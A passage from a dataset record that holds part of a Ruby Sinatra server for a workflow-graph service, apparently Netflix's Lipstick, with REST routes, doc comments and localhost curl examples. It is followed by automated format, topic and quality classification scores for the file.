data['edges'].is_a?(Array))\n data['edges'].each do |e|\n e_u = e['u']\n e_v = e['v']\n if updates > 0\n e_u = e_u + \"_#{updates}\"\n e_v = e_v + \"_#{updates}\"\n e['u'] = e_u\n e['v'] = e_v\n end\n graph.update_edge!(e_u, e_v, e)\n end \n end\n store(graph)\n rescue ArgumentError => e\n return {\n :error => e.to_s\n }\n end \n end\n \n def self.get params\n if (!params[:status] && !params[:scripts] && !params[:optimized] && !params[:unoptimized] && !params[:sampleOutput])\n params[:full] = true\n end\n\n plan = nil\n if !params[:full]\n fields = ['uuid', 'userName', 'jobName']\n \n fields << 'status' if params[:status]\n fields << 'scripts' if params[:scripts]\n fields << 'optimized' if params[:optimized]\n fields << 'unoptimized' if params[:unoptimized]\n \n ret = @@es.get_fields(params[:id], fields)\n return unless ret\n\n if params[:sampleOutput]\n temp = p2j_from_json(@@es.get(params[:id], 'plan'), P2jPlanPackage.java_class)\n j = JSON.parse(ret)\n j[:sampleOutputMap] = temp.sample_output_map\n ret = @@om.write_value_as_string(j)\n end\n \n return ret\n else\n plan = @@es.get(params[:id], 'plan')\n end\n return plan\n end\n\n def self.get_graph params\n @@es.get(params[:id], 'graph')\n end\n\n def self.close\n @@es.close\n end\n \nend\n\nget '/' do\n send_file File.join(settings.public_folder, 'index.html')\nend\n\n# @method get_jobs\n# @overload GET \"/job\"\n# Gets a listing of P2jPlanPackage objects as json.\n# @return [String] A json string with keys \"jobs\" and \"jobsTotal\"\n# @deprecated\nget '/job' do\n res = PlanService.list(params)\n if !res\n return [500, \"\"]\n end\n [200, {'Content-Type' => 'application/json'}, res.to_json]\nend\n\n# @method get_v1_jobs\n# @overload GET \"/v1/job\"\n# Get a list of all workflow graphs. See {Lipstick::Graph}\n# @param max [Integer] Optional. Default: 10. Integer specifying\n# the maximum number of plans to return.\n# @param sort [String] Optional. Default: \"startTime\". String\n# field name of the field to sort the results by.\n# @param offset [Integer] Optional. Default: 0. Offset for results.\n# How paging is possible.\n# @param order [String] Optional. Default: \"asc\". \"asc\" to sort the\n# results in ascending order, \"desc\" for descending order.\n# @param search [String] Optional. Search string to get plans by a\n# specific user or with a specific name.\n# @return [String] A json string with a list of graphs. Has the following\n# structure:\n# {\n# \"jobs\": [list of graphs],\n# \"jobsTotal\": \n# }\n# where each job in the list looks like the following:\n# {\n# \"id\": ,\n# \"name\": ,\n# \"created_at\": ,\n# \"updated_at\": \n# }\n# @see Lipstick::Graph\n# @example\n# $: curl -XGET \"localhost:9292/v1/job\"\n# {\"jobs\":[{\"id\":\"037389e6-49e0-450b-b02e-082173b17b4c\",\"name\":\"PigLatin:bf.pig\",\"created_at\":1414704734000,\"updated_at\":1414704734000},{\"id\":\"05d94692-0a7c-4f0b-81e4-8b4f79fe612b\",\"name\":\"PigLatin:bf.pig\",\"created_at\":1414704734000,\"updated_at\":1414704734000},{\"id\":\"08cf2150-85fb-4cdd-863e-470d3bed0cf9\",\"name\":\"PigLatin:profile_takerate_agg_f.pig\",\"created_at\":1414704734000,\"updated_at\":1414704734000},{\"id\":\"0978808f-1334-453f-81ac-1353bb5019ac\",\"name\":\"PigLatin:aro_diversity_pvr_training_data.pig\",\"created_at\":1414704734000,\"updated_at\":1414704734000}],\"jobsTotal\":4}\n#\nget '/v1/job' do\n res = PlanService.list_graphs(params)\n if !res\n return [500, \"\"]\n end\n [200, {'Content-Type' => 'application/json'}, res.to_json]\nend\n\n# @method get_job\n# @overload GET \"/job/:id\"\n# Get P2jPlanPackage as json.\n# @param id [String] The uuid of the plan to fetch\n# @return [String] A json string of the P2jPlanPackage\n# @deprecated\nget '/job/:id' do\n ret = PlanService.get(params)\n if !ret\n res = {:error => \"plan (#{params[:id]}) not found\"}\n return [404, res.to_json]\n end\n [200, {'Content-Type' => 'application/json'}, ret]\nend\n\n# @method get_v1_job\n# @overload GET \"/v1/job/:id\"\n# Get a specific workflow graph by id\n# @param id [String] The id of the workflow graph to fetch\n# @return [String] A json string representation of the graph requested.\n# @see Lipstick::Graph\n# @example\n# $: curl -XGET \"localhost:9292/v1/job/8\"\n# {\"id\":\"8\",\"status\":{...},\"nodes\":[...],\"edges\":[...],\"name\":\"workflow-8\",\"properties\":{...},\"node_groups\":[...],\"created_at\":1415140632000,\"updated_at\":1415140632000}\nget '/v1/job/:id' do\n ret = PlanService.get_graph(params)\n if !ret\n res = {:error => \"graph (#{params[:id]}) not found\"}\n return [404, res.to_json]\n end\n [200, {'Content-Type' => 'application/json'}, ret]\nend\n\n# @method post_job\n# @overload POST \"/job\"\n# Create a new P2jPlanPackage from json string\n# @param body [String] JSON serialization of a P2jPlanPackage object\n# @return [String] A json string with keys \"uuid\" and \"aliases\" if\n# successful otherwise \"error\"\n# @deprecated\npost '/job/?' do\n request.body.rewind\n ret = PlanService.save(params, request.body.read)\n if ret[:error]\n return [500, ret.to_json]\n end\n ret.to_json\nend\n\n# @method post_v1_job\n# @overload POST \"/v1/job\"\n# Create a new workflow graph. {Lipstick::Graph} for spec.\n# @param body [String] Body of POST request must be a JSON object containing a\n# workflow graph.\n# @return [String] A json string either containing the uuid of the\n# graph saved or an error if the save failed.\n# @see Lipstick::Graph\n# @example\n# $: curl -H 'Content-Type: application/json' -XPOST \"localhost:9292/v1/job\" -d@examples/graphs/example.json\n# {\"id\":\"8\"}\n#\npost '/v1/job/?' do\n request.body.rewind\n ret = PlanService.save_graph(params, request.body.read)\n if ret[:error]\n return [500, ret.to_json]\n end\n ret.to_json\nend\n\n# @method update_v1_job\n# @overload PUT \"/v1/job/:id\"\n# Update an existing workflow graph (eg. with new status). {Lipstick::Graph} for spec.\n# @param id [String] The id of the workflow graph to update\n# @param body [String] JSON object containing valid {Lipstick::Graph::Status} objects.\n# At most one per graph, node group, and node.\n# @return [String] A json string either containing the uuid of the\n# graph updated or an error if the update failed.\n# @see Lipstick::Graph::Status\n# @example\n# $: curl -XPUT \"localhost:9292/v1/job/8\" -d @examples/graphs/example.json\n# {\"status\":\"updated uuid 8\"}\n#\nput '/v1/job/:id' do\n request.body.rewind\n ret = PlanService.update_graph(params, request.body.read)\n if !ret\n return [404, {:error => \"graph #{params[:id]} not found\"}.to_json]\n end\n ret.to_json\nend\n\n# @method update_v1_node\n# @overload PUT \"/v1/job/:id/node/:nodeId\"\n# Update an existing workflow graph's node. {Lipstick::Graph::Node} for spec. If\n# the node doesn't currently exist in the graph it is added. New node properties are\n# recursively merged into existing node properties.\n# @param id [String] The id of the workflow graph to update\n# @param nodeId [String] The id of the node to create or update.\n# @param body [String] JSON object containing a valid representation of a\n# {Lipstick::Graph::Node} object. A partial representation (eg. just node\n# status) works.\n# @return [String] A json string either containing the id of the\n# graph updated or an error if the update failed.\n# @see Lipstick::Graph::Node\n# @example\n# # Create graph and add a node\n# $: curl -XPOST \"localhost:9292/v1/job\" -d -d '{\"name\":\"mygraph\",\"id\":\"mygraph\",\"nodes\":[{\"id\":\"A\"}],\"edges\":[]}'\n# {\"id\":\"mygraph\"}\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/node/B\" -d '{\"id\":\"B\"}'\n# {\"status\":\"updated uuid mygraph\"}\n# @example\n# # Update a node's status\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/node/B\" -d '{\"status\":{\"statusText\":\"failed\"}}'\n# {\"status\":\"updated uuid mygraph\"}\nput '/v1/job/:id/node/:nodeId' do\n request.body.rewind\n ret = PlanService.update_graph_node(params, request.body.read)\n if !ret\n return [404, {:error => \"not found\"}.to_json]\n end\n ret.to_json\nend\n\n# @method update_v1_node_group\n# @overload PUT \"/v1/job/:id/nodeGroup/:nodeGroupId\"\n# Update an existing workflow graph's node group. {Lipstick::Graph::NodeGroup} for spec.\n# If the node group doesn't currently exist in the graph it is added. New node group\n# properties are recursively merged into existing node group properties.\n# @param id [String] The id of the workflow graph to update\n# @param nodeGroupId [String] The id of the node group to create or update.\n# @param body [String] JSON object containing a valid representation of a\n# {Lipstick::Graph::NodeGroup} object. A partial representation (eg. just node\n# group status) works.\n# @return [String] A json string either containing the id of the\n# graph updated or an error if the update failed.\n# @see Lipstick::Graph::NodeGroup\n# @example\n# # Create graph and add a node group\n# $: curl -XPOST \"localhost:9292/v1/job\" -d -d '{\"name\":\"mygraph\",\"id\":\"mygraph\",\"nodes\":[{\"id\":\"A\"}],\"edges\":[]}'\n# {\"id\":\"mygraph\"}\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/nodeGroup/1\" -d '{\"id\":\"1\",\"children\":[\"A\"]}' \n# {\"status\":\"updated uuid mygraph\"}\n# @example\n# # Update a node group's status\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/nodeGroup/1\" -d '{\"status\":{\"progress\":\"100\"}}'\n# {\"status\":\"updated uuid mygraph\"}\nput '/v1/job/:id/nodeGroup/:nodeGroupId' do\n request.body.rewind\n ret = PlanService.update_graph_node_group(params, request.body.read)\n if !ret\n return [404, {:error => \"not found\"}.to_json]\n end\n ret.to_json\nend\n\n# @method update_v1_edge\n# @overload PUT \"/v1/job/:id/edge?u=:u&v=:v\"\n# Update an existing workflow graph's edge. {Lipstick::Graph::Edge} for spec.\n# If the edge doesn't currently exist in the graph it is added. New edge\n# properties are recursively merged into existing edge properties.\n# @param id [String] The id of the workflow graph to update\n# @param u [String] The source node id of the edge to update\n# @param v [String] The target node id of the edge to update\n# @param body [String] JSON object containing a valid representation of a\n# {Lipstick::Graph::Edge} object. A partial representation (eg. just edge\n# properties) works.\n# @return [String] A json string either containing the id of the\n# graph updated or an error if the update failed.\n# @see Lipstick::Graph::Edge\n# @example\n# # Create graph and add an edge\n# $: curl -XPOST \"localhost:9292/v1/job\" -d -d '{\"name\":\"mygraph\",\"id\":\"mygraph\",\"nodes\":[{\"id\":\"A\"}, {\"id\":\"B\"}],\"edges\":[]}'\n# {\"id\":\"mygraph\"}\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/edge?u=A&v=B\" -d '{\"u\":\"A\",\"v\":\"B\"}' \n# {\"status\":\"updated uuid mygraph\"}\n# @example\n# # Update an edge's properties (eg. sample data)\n# $: curl -XPUT \"localhost:9292/v1/job/mygraph/edge?u=A&v=B\" -d '{\"properties\":{\"sampleOutput\":[\"a\\u00011\\nb\\u00012\"],\n# \"schema\":[\n# {\"type\":\"CHARARRAY\", \"alias\":\"name\"},\n# {\"type\":\"INTEGER\", \"alias\":\"value\"}\n# ]\n# }'\n# {\"status\":\"updated uuid mygraph\"}\nput '/v1/job/:id/edge/?' do\n request.body.rewind\n ret = PlanService.update_graph_edge(params, request.body.read)\n if !ret\n return [404, {:error => \"not found\"}.to_json]\n end\n ret.to_json\nend\n\n# @method update_job\n# @overload PUT \"/job/:id\"\n# Update a P2jPlanPackage with status information\n# @param id [String] The uuid of the plan to update\n# @param body [String] JSON serialization of a P2jPlanStatus\n# @return [String] A json string with keys \"status\" if\n# successful otherwise \"error\"\n# @deprecated\nput '/job/:id' do\n request.body.rewind\n ret = PlanService.update(params, request.body.read)\n if !ret\n return [404, {:error => \"plan #{params[:id]} not found\"}]\n end\n ret.to_json\nend\n\n# @method update_sample_output\n# @overload PUT \"/job/:id/sampleOutput/:jobId\"\n# Update the sample output data for a single map-reduce job for a single plan\n# @param id [String] The uuid of the plan to update\n# @param jobId [String] The map-reduce job id of the job to update\n# @param body [String] Json body with sample output data\n# @return [String] A json string with keys \"id\" and \"uuid\" if successful\n# \"error\" otherwise\n# @deprecated\nput \"/job/:id/sampleOutput/:jobId\" do\n request.body.rewind\n ret = PlanService.add_sample_output(params[\"id\"], params[\"jobId\"], request.body.read)\n if ret[:error]\n return [500, ret.to_json]\n end\n ret.to_json\nend\n\nput '/job' do\n [400, {:error => \"a uuid must be speficied\"}]\nend\n\ndelete '/job/:id' do\n [405, {:error => \"service does not support delete currently\"}]\nend\n\nat_exit do\n PlanService.close\nend\n", "text_preview": "# # Copyright 2014 Netflix, Inc. # # Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/lice", "input_sha256": "bf53f4fcaad898f137cef2efc02f7034b78d35b8cf9d3f46fd266a7c175922b5", "text_sha256": "dabded7337efeb95db71b0792543bad0fb8fc15956a9c6411e0f10befef06c6e", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16108, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": {"main_format": "Legal Notices", "sub_format": null}, "tertiary": null, "content_structure": []}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 1, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9637170367449561, "noise_severity": 0.5865041970180349, "missing_content_severity": 0.2070758844003728, "factual_density": 3.3125811657690436, "pretraining_utility": 0.6268251123275848, "math_density": 0.12085202068653386, "code_density": 3.7651931448537197, "reasoning_density": 0.5890084975444019, "education_level": 2.7671012736890908, "creative_writing_quality": -0.2163426106184226}, "api_choices": {"primary": "Technical Writing", "secondary": "Legal Notices", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": ["secondary probability 0.6946 below 0.70"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.30783923897739696, "secondary_choice": "Legal Notices", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9963621745480012, "secondary": 0.681335000051453, "tertiary": 0.4864815486778929, "structured_records": 0.11677601315078497, "procedural_steps": 0.17528936238377146, "worked_solution": 0.019912268546609057, "contextual_dialogue": 5.389914083266335e-06, "content_quality": 0.5432019190018353, "noise_severity": 0.5766361724870177, "missing_content_severity": 0.8274367629996893, "factual_density": 0.427150971474203, "pretraining_utility": 0.5317485398038466, "math_density": 0.8992899827612217, "code_density": 0.8043276207114329, "reasoning_density": 0.5091595853796651, "education_level": 0.5074950369866872, "creative_writing_quality": 0.9993590027622182, "primary_topic": 0.9952370443698357, "secondary_topic": 0.8827453115288197}, "probability_margin": {"primary": 0.9953029512592304, "secondary": 0.49457379654372535, "tertiary": 0.09982083892145027, "education_level": 0.2751135815667074, "creative_writing_quality": 0.999234156792697, "primary_topic": 0.9941285602435047, "secondary_topic": 0.8317610861898498}, "raw_probabilities": {"primary": {"Academic Writing": 2.79754744825452e-05, "Content Listing": 2.9026817738107398e-05, "Creative Writing": 1.2373099082628122e-05, "Customer Support Page": 1.3275764885973345e-05, "Q&A Forum": 9.472965414945227e-06, "Discussion Thread": 5.656420359232314e-06, "Comment Section": 1.158494461807159e-05, "Missing Content": 1.9506965609427706e-05, "Knowledge Article": 4.817069814903142e-05, "Legal Notices": 0.0012107993492708638, "News Article": 4.20541933097095e-06, "Organizational Announcement": 2.0153379981780885e-05, "Nonfiction Writing": 7.064452820351499e-06, "Organizational About Page": 1.319264875272469e-05, "Personal About Page": 6.145091443937424e-06, "Personal Blog": 6.785778853038443e-06, "Product Page": 6.23842283843438e-06, "Spam / Ads": 7.164470471926782e-06, "Structured Data": 0.0007511946634909322, "Technical Writing": 0.9965137506085012, "Transcript / Interview": 1.4369138607573275e-05, "Tutorial / How-To Guide": 0.0003122597183664663, "User Reviews": 5.470816666606564e-06, "Other / Unknown": 0.0009441628902633697}, "secondary": {"Academic Writing": 0.0006291982517479522, "Content Listing": 0.0009011963552265687, "Creative Writing": 0.0005097273919704548, "Customer Support Page": 0.0004405344647494981, "Q&A Forum": 0.00032198822640153895, "Discussion Thread": 0.0002602228259325073, "Comment Section": 0.0005566331445442742, "Missing Content": 0.0006021211323776423, "Knowledge Article": 0.000973573813601075, "Legal Notices": 0.6946127083826424, "News Article": 0.00046689155393881174, "Organizational Announcement": 0.0006628624847769571, "Nonfiction Writing": 0.0003893764094764805, "Organizational About Page": 0.0005868269305292167, "Personal About Page": 0.00030052715074351747, "Personal Blog": 0.0002799572593429065, "Product Page": 0.00035878203316781814, "Spam / Ads": 0.0003463238320637037, "Structured Data": 0.015128599990625189, "Technical Writing": 0.07371241956513791, "Transcript / Interview": 0.0005989268815538903, "Tutorial / How-To Guide": 0.007082005471202001, "User Reviews": 0.0002396846093306151, "NONE": 0.2000389118389171}, "tertiary": {"Academic Writing": 0.0008549500160543041, "Content Listing": 0.0012615685834000817, "Creative Writing": 0.0007162891804214276, "Customer Support Page": 0.0006254604948505416, "Q&A Forum": 0.00036690917486586415, "Discussion Thread": 0.0003058430970192547, "Comment Section": 0.0005843798929214665, "Missing Content": 0.0007499930541438625, "Knowledge Article": 0.0010762925920223625, "Legal Notices": 0.4080573118948638, "News Article": 0.000588506773086693, "Organizational Announcement": 0.0006509816512531265, "Nonfiction Writing": 0.00043375149687337666, "Organizational About Page": 0.0006896409660295471, "Personal About Page": 0.00034509863414738896, "Personal Blog": 0.00037670646102914057, "Product Page": 0.00042454071383978394, "Spam / Ads": 0.00038072590534125563, "Structured Data": 0.029673850432296752, "Technical Writing": 0.02501535494100823, "Transcript / Interview": 0.0006970120398025597, "Tutorial / How-To Guide": 0.017988662175135957, "User Reviews": 0.0002580190132792992, "NONE": 0.507878150816314}, "structured_records": {"false": 0.883223986849215, "true": 0.11677601315078497}, "procedural_steps": {"false": 0.8247106376162285, "true": 0.17528936238377146}, "worked_solution": {"false": 0.9800877314533909, "true": 0.019912268546609057}, "contextual_dialogue": {"false": 0.9999946100859167, "true": 5.389914083266335e-06}, "content_quality": {"-2": 0.00514007028320123, "-1": 0.02709152506754159, "0": 0.22261706924173388, "1": 0.4892139684361464, "2": 0.2559373669713768}, "noise_severity": {"0": 0.46076619799877194, "1": 0.49954394714106165, "2": 0.03439737075819894, "3": 0.0030044280472941204, "4": 0.0022880560546732417}, "missing_content_severity": {"0": 0.8298558221855791, "1": 0.14132951694697504, "2": 0.02232215908380729, "3": 0.0048679578487718, "4": 0.0016245439348669562}, "factual_density": {"0": 0.0033312968525145057, "1": 0.008370104555639744, "2": 0.11399479746407873, "3": 0.42099373822582176, "4": 0.4533100629019452}, "pretraining_utility": {"-2": 0.007240879539043944, "-1": 0.0640608611238381, "0": 0.3176939590890916, "1": 0.516640867966542, "2": 0.0943634322814843}, "math_density": {"0": 0.9072204411335018, "1": 0.07602999102654324, "2": 0.00984784514038583, "3": 0.002480551419058117, "4": 0.004421171280511151}, "code_density": {"0": 0.0003090705926234993, "1": 0.0005962032853291606, "2": 0.01466948169965166, "3": 0.20244299952049566, "4": 0.7819822449018999}, "reasoning_density": {"0": 0.6851143917095733, "1": 0.13232165882172142, "2": 0.11334057292193964, "3": 0.04688781330826172, "4": 0.02233556323850399}, "education_level": {"none": 0.0009591491162837607, "0": 0.0009782867929449188, "1": 0.003097538694005976, "2": 0.31446561592219857, "3": 0.589579197488906, "4": 0.09092021198566082}, "creative_writing_quality": {"not_applicable": 0.9994658356351819, "-2": 6.703440217281616e-05, "-1": 0.0001229679824537659, "0": 0.00023167884248491522, "1": 8.349200179823076e-05, "2": 2.89911359085273e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.9041668332876686e-05, "Art & Design": 4.555703208131845e-05, "Law & Crime": 0.0007064178551945686, "Education & Careers": 4.436902270394494e-05, "Entertainment & Media": 0.00010552365071916427, "Fashion & Beauty": 2.272482510348128e-05, "Business, Economics & Finance": 0.00034666773061794775, "Food & Dining": 2.4858355379876404e-05, "Games & Gaming": 5.844622865952487e-05, "Electronics & Hardware": 0.00010522824781082773, "Health, Healthcare & Wellness": 2.287776806443362e-05, "History & Geography": 4.610246282030731e-05, "Home, Pets & Hobbies": 2.110743676949904e-05, "Industry & Production": 6.584965244383058e-05, "Language, Literature & Philosophy": 3.2581640275671246e-05, "Politics & Government": 3.924781147768008e-05, "Religion & Spirituality": 3.002404483342706e-05, "Science, Mathematics & Engineering": 0.0012916747274910995, "Relationships & Community": 1.8441081335779107e-05, "Software Usage & Applications": 0.0010074578802008543, "Programming & Software Engineering": 0.9954202349709959, "Sports & Fitness": 3.776992510996908e-05, "Vehicles & Transportation": 1.9482345238847734e-05, "Travel & Tourism": 4.126224223187172e-05, "Other / Uncovered Subject": 0.00033789601688890533, "Unknown / Insufficient Content": 6.915537721842938e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006837256088661004, "Art & Design": 0.0007569029576860197, "Law & Crime": 0.0554940210493999, "Education & Careers": 0.0005630221507272049, "Entertainment & Media": 0.0031450687710146224, "Fashion & Beauty": 0.000365118198295929, "Business, Economics & Finance": 0.0038022921074213753, "Food & Dining": 0.00029558741922886515, "Games & Gaming": 0.00046481855408425844, "Electronics & Hardware": 0.0007841771611884639, "Health, Healthcare & Wellness": 0.0003875536873177116, "History & Geography": 0.0003886881685542993, "Home, Pets & Hobbies": 0.0002909446833613282, "Industry & Production": 0.0005208782417486322, "Language, Literature & Philosophy": 0.00026105345200712256, "Politics & Government": 0.0006900235877999236, "Religion & Spirituality": 0.0005143367575943335, "Science, Mathematics & Engineering": 0.007834584584039773, "Relationships & Community": 0.00017543682871541262, "Software Usage & Applications": 0.008437105405397645, "Programming & Software Engineering": 0.02438166277170722, "Sports & Fitness": 0.0002894877598934474, "Vehicles & Transportation": 0.00016525943127867248, "Travel & Tourism": 0.0003718801902973479, "Other / Uncovered Subject": 0.0016812632331246347, "NONE": 0.8872551072392497}}, "probabilities": {"primary": {"Academic Writing": 2.7975474482545192e-05, "Content Listing": 2.902681773810739e-05, "Creative Writing": 1.2373099082628119e-05, "Customer Support Page": 1.3275764885973341e-05, "Q&A Forum": 9.472965414945225e-06, "Discussion Thread": 5.656420359232313e-06, "Comment Section": 1.1584944618071587e-05, "Missing Content": 1.9506965609427702e-05, "Knowledge Article": 4.8170698149031406e-05, "Legal Notices": 0.0012107993492708636, "News Article": 4.205419330970949e-06, "Organizational Announcement": 2.015337998178088e-05, "Nonfiction Writing": 7.064452820351497e-06, "Organizational About Page": 1.3192648752724686e-05, "Personal About Page": 6.145091443937423e-06, "Personal Blog": 6.7857788530384415e-06, "Product Page": 6.238422838434378e-06, "Spam / Ads": 7.16447047192678e-06, "Structured Data": 0.000751194663490932, "Technical Writing": 0.996513750608501, "Transcript / Interview": 1.4369138607573272e-05, "Tutorial / How-To Guide": 0.00031225971836646625, "User Reviews": 5.470816666606563e-06, "Other / Unknown": 0.0009441628902633694}, "secondary": {"Academic Writing": 0.0006291982517479522, "Content Listing": 0.0009011963552265687, "Creative Writing": 0.0005097273919704548, "Customer Support Page": 0.0004405344647494981, "Q&A Forum": 0.00032198822640153895, "Discussion Thread": 0.0002602228259325073, "Comment Section": 0.0005566331445442742, "Missing Content": 0.0006021211323776423, "Knowledge Article": 0.000973573813601075, "Legal Notices": 0.6946127083826424, "News Article": 0.00046689155393881174, "Organizational Announcement": 0.0006628624847769571, "Nonfiction Writing": 0.0003893764094764805, "Organizational About Page": 0.0005868269305292167, "Personal About Page": 0.00030052715074351747, "Personal Blog": 0.0002799572593429065, "Product Page": 0.00035878203316781814, "Spam / Ads": 0.0003463238320637037, "Structured Data": 0.015128599990625189, "Technical Writing": 0.07371241956513791, "Transcript / Interview": 0.0005989268815538903, "Tutorial / How-To Guide": 0.007082005471202001, "User Reviews": 0.0002396846093306151, "NONE": 0.2000389118389171}, "tertiary": {"Academic Writing": 0.0008549500160543041, "Content Listing": 0.0012615685834000817, "Creative Writing": 0.0007162891804214276, "Customer Support Page": 0.0006254604948505416, "Q&A Forum": 0.00036690917486586415, "Discussion Thread": 0.0003058430970192547, "Comment Section": 0.0005843798929214665, "Missing Content": 0.0007499930541438625, "Knowledge Article": 0.0010762925920223625, "Legal Notices": 0.4080573118948638, "News Article": 0.000588506773086693, "Organizational Announcement": 0.0006509816512531265, "Nonfiction Writing": 0.00043375149687337666, "Organizational About Page": 0.0006896409660295471, "Personal About Page": 0.00034509863414738896, "Personal Blog": 0.00037670646102914057, "Product Page": 0.00042454071383978394, "Spam / Ads": 0.00038072590534125563, "Structured Data": 0.029673850432296752, "Technical Writing": 0.02501535494100823, "Transcript / Interview": 0.0006970120398025597, "Tutorial / How-To Guide": 0.017988662175135957, "User Reviews": 0.0002580190132792992, "NONE": 0.507878150816314}, "structured_records": {"false": 0.883223986849215, "true": 0.11677601315078497}, "procedural_steps": {"false": 0.8247106376162285, "true": 0.17528936238377146}, "worked_solution": {"false": 0.9800877314533909, "true": 0.019912268546609057}, "contextual_dialogue": {"false": 0.9999946100859167, "true": 5.389914083266335e-06}, "content_quality": {"-2": 0.005140070283201231, "-1": 0.027091525067541592, "0": 0.2226170692417339, "1": 0.48921396843614645, "2": 0.25593736697137687}, "noise_severity": {"0": 0.460766197998772, "1": 0.4995439471410617, "2": 0.034397370758198945, "3": 0.003004428047294121, "4": 0.002288056054673242}, "missing_content_severity": {"0": 0.8298558221855789, "1": 0.14132951694697501, "2": 0.022322159083807285, "3": 0.004867957848771799, "4": 0.0016245439348669558}, "factual_density": {"0": 0.003331296852514506, "1": 0.008370104555639746, "2": 0.11399479746407874, "3": 0.4209937382258218, "4": 0.45331006290194525}, "pretraining_utility": {"-2": 0.0072408795390439444, "-1": 0.06406086112383812, "0": 0.31769395908909165, "1": 0.5166408679665421, "2": 0.09436343228148432}, "math_density": {"0": 0.9072204411335018, "1": 0.07602999102654324, "2": 0.00984784514038583, "3": 0.002480551419058117, "4": 0.004421171280511151}, "code_density": {"0": 0.00030907059262349937, "1": 0.0005962032853291607, "2": 0.014669481699651661, "3": 0.2024429995204957, "4": 0.7819822449019}, "reasoning_density": {"0": 0.6851143917095733, "1": 0.13232165882172142, "2": 0.11334057292193964, "3": 0.04688781330826172, "4": 0.02233556323850399}, "education_level": {"none": 0.0009591491162837607, "0": 0.0009782867929449188, "1": 0.003097538694005976, "2": 0.31446561592219857, "3": 0.589579197488906, "4": 0.09092021198566082}, "creative_writing_quality": {"not_applicable": 0.9994658356351817, "-2": 6.703440217281615e-05, "-1": 0.00012296798245376586, "0": 0.00023167884248491516, "1": 8.349200179823075e-05, "2": 2.8991135908527292e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.9041668332876686e-05, "Art & Design": 4.555703208131845e-05, "Law & Crime": 0.0007064178551945686, "Education & Careers": 4.436902270394494e-05, "Entertainment & Media": 0.00010552365071916427, "Fashion & Beauty": 2.272482510348128e-05, "Business, Economics & Finance": 0.00034666773061794775, "Food & Dining": 2.4858355379876404e-05, "Games & Gaming": 5.844622865952487e-05, "Electronics & Hardware": 0.00010522824781082773, "Health, Healthcare & Wellness": 2.287776806443362e-05, "History & Geography": 4.610246282030731e-05, "Home, Pets & Hobbies": 2.110743676949904e-05, "Industry & Production": 6.584965244383058e-05, "Language, Literature & Philosophy": 3.2581640275671246e-05, "Politics & Government": 3.924781147768008e-05, "Religion & Spirituality": 3.002404483342706e-05, "Science, Mathematics & Engineering": 0.0012916747274910995, "Relationships & Community": 1.8441081335779107e-05, "Software Usage & Applications": 0.0010074578802008543, "Programming & Software Engineering": 0.9954202349709959, "Sports & Fitness": 3.776992510996908e-05, "Vehicles & Transportation": 1.9482345238847734e-05, "Travel & Tourism": 4.126224223187172e-05, "Other / Uncovered Subject": 0.00033789601688890533, "Unknown / Insufficient Content": 6.915537721842938e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006837256088661004, "Art & Design": 0.0007569029576860197, "Law & Crime": 0.0554940210493999, "Education & Careers": 0.0005630221507272049, "Entertainment & Media": 0.0031450687710146224, "Fashion & Beauty": 0.000365118198295929, "Business, Economics & Finance": 0.0038022921074213753, "Food & Dining": 0.00029558741922886515, "Games & Gaming": 0.00046481855408425844, "Electronics & Hardware": 0.0007841771611884639, "Health, Healthcare & Wellness": 0.0003875536873177116, "History & Geography": 0.0003886881685542993, "Home, Pets & Hobbies": 0.0002909446833613282, "Industry & Production": 0.0005208782417486322, "Language, Literature & Philosophy": 0.00026105345200712256, "Politics & Government": 0.0006900235877999236, "Religion & Spirituality": 0.0005143367575943335, "Science, Mathematics & Engineering": 0.007834584584039773, "Relationships & Community": 0.00017543682871541262, "Software Usage & Applications": 0.008437105405397645, "Programming & Software Engineering": 0.02438166277170722, "Sports & Fitness": 0.0002894877598934474, "Vehicles & Transportation": 0.00016525943127867248, "Travel & Tourism": 0.0003718801902973479, "Other / Uncovered Subject": 0.0016812632331246347, "NONE": 0.8872551072392497}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, 